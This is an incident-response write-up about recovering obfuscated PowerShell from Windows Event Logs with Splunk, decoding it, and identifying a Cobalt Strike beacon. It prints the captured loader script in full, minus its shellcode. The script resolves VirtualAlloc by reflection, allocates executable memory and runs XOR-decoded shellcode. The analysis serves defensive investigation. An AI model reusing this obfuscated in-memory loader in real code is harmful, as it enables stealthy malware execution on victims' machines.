Malware Image

Logs containing obfuscated Powershell commands

While conducting Incident Response (IR) on a customers site, one of our analysts spotted some suspicious Powershell execution in the Windows Event Logs. The Powershell commands were encoded in Base64 and warranted additional investigation.

Unfortunately, the ofuscated Powershell command(s) appears to be split across a number of Windows Event Logs. From experience (depend on the size of the payload), typically CobaltStrike payloads can stretch across 18-28 sequential Windows Event Logs.

Stitching Event Log records together with Splunk

After been given the initial splunk search from our analyst, we modified the search query to capture the multiple records into a single suspicious powershell script, enough to copy and paste out of the Splunk console and to start reversing the obfuscated Powershell:

index=win* host="redacted" suspicious_script.ps1
| spath output=ScriptBlockText path=Event.EventData.Data{3}
| reverse| stats list(*) as *| table ScriptBlockTextOutput

Captured Powershell Script

Note: truncated and shellcode removed.

Set-StrictMode -Version 2; function func_gpa{Param ($var_module, $var_procedure);
$var_unm = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('Sy'+'st'+'em.'+'dll') }).GetType('Micr'+'osof'+'t.Wi'+'n32.Un'+'safeN'+'ativeMethods');
$s = 'S'+'yst'+'em.R'+'untim'+'e.In'+'teropSe'+'rvices.Ha'+'ndl'+'eRef';$var_gpa = $var_unm.GetMethod('G'+'et'+'Pr'+'ocAdd'+'ress', [Type[]] ($s, 'string'));
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object 
System.Runtime.InteropServices.HandleRef((New-Object IntPtr),($var_unm.GetMethod('GetM'+'odul'+'eHandle')).Invoke($null, @($var_module)))), $var_procedure))};
function func_gdt {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,[Parameter(Position = 1)] 
[Type] $var_return_type = [Void]);
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object -TypeName ("Sys" +"tem.R" + "efle" +"ction.Asse" + "mblyName") -ArgumentList ('Refle'+'ctedD'+'elegate')), 
[System.Type]::GetType("Sy"+"stem.Ref"+"lect"+"ion.E"+"mit."+"Assem"+"blyBui"+"lderAccess")::Run).DefineDynamicModule('InM'+'emor'+'yMo'+'dule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]);$var_type_builder.DefineConstructor('RTS'+'peci'+'alName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed');
$var_type_builder.DefineMethod('I'+'nvoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runt'+'ime, Ma'+'naged');return $var_type_builder.CreateType();};
If ([IntPtr]::size-eq 4) {
   [Byte[]]$var_c = [System.Convert]::FromBase64String(‘**encoded_shellcode**’); );
   $a = "ke"+"rne"+"l32."+"dll";$b = "Vi"+"rt"+"ualAl"+"loc";
   for ($l = 0; $l -lt $var_c.Count; $l++) {
      $var_c[$l] = $var_c[$l] -bxor 35;
   };
   [Byte[]]$func_gmh = [BitConverter]::GetBytes((func_gpa $a GetModuleHandleA).ToInt32());[Byte[]]$func_gpa2 = [BitConverter]::GetBytes((func_gpa $a GetProcAddress).ToInt32());[Array]::Copy($func_gmh, 0, $var_c, 31813, $func_gmh.Length);[Array]::Copy($func_gpa2, 0, $var_c, 31820, $func_gpa2.Length);
   $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_gpa $a $b ), (func_gdt @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr])));$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_c.Length, 0x3000, 0x40);[System.Runtime.InteropServices.Marshal]::Copy($var_c, 0, $var_buffer, 
   $var_c.length);
   $var_r = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_gdt @([IntPtr]) ([Void])));
   $var_r.Invoke([IntPtr]::Zero);
}

You can use CyberChef’s Code Beautify module to make the code easier to read.

The initial Powershell is a method for injecting DLLs into memory and executing them

The following Powershell is a decoding method used to recover the obfuscated shellcode:

  • Base64 decode the encoded string
  • XOR with the decimal value 35

Again, you can use Cyberchef and the base64 decode and XOR modules to decode the obfuscated powershell into shellcode. Just remember due to Powershell the XOR is decimal not binary!

Testing the Shellcode

There are many options to decode the shellcode

  1. Use the Windows Sandbox and scdbg.exe as per the instructions here. Unfortunately, this method failed for us due to unknown apis?

  2. Use a Python sandbox and Fireeye’s Speakeasy Speakeasy github Link – for our shellcode analysis again this was inconclusive as the shellcode tried to operate an unknown api call and eventually crashed.

  3. Executing on a sandbox platform e.g. cuckoo, or a public sandbox such as JoesSandbox or any.run – Public sandbox analysis not performed on behalf of the client.

Cobalt Strike Beacon Parser

Knowing the obvious (the Powershell decoding method and shellcode very similar to Metasploits Meterpreter, and from working with previous samples). We know with a high degree of confidence the payload is a Cobalt Strike payload.

Cobalt Strike keeps a copy of the beacon configuration in the .data section of the PE/DLL, this can be extracted with an open-source tool from SentinelOne http://github.com/Sentinel-One/CobaltStrikeParser

Simply execute against the decoded payload

python ./parse_beacon_config.py ../powershell.dat

Beacons configuration

CobaltStrike beacons can be configured in a number of different methods, the most popular using HTTP. But you may see one of the following from this list:

  • HTTP(S)
  • DNS
  • SMB

Depending on the configuration you will need to turn your investigation to additional logs to capture the C2 traffic.

  • Web Proxy Logs
  • DNS logs & Sysmon Event ID 22
  • SMB & Named Pipe Logs, Sysmon Event ID 17 & 18

Conclusion

We have demonstrated how to extract Powershell scripts that span multiple records in the Windows Event Log, and how to decode ofuscated Powershell to reveal a CobaltStrike beacon. We then demonstrated the use of open-source and publically available tools that can help in reversing and identifying further actions of the obfuscated and malicious shellcode.

We recommend you read the other walkthroughs in our references section below. In-order to gain a further understanding on CobaltStrike payloads, and performing techncial actions such as: reversing and incident response on further uncover additional malicious actions and/or binaries.

References


Share on: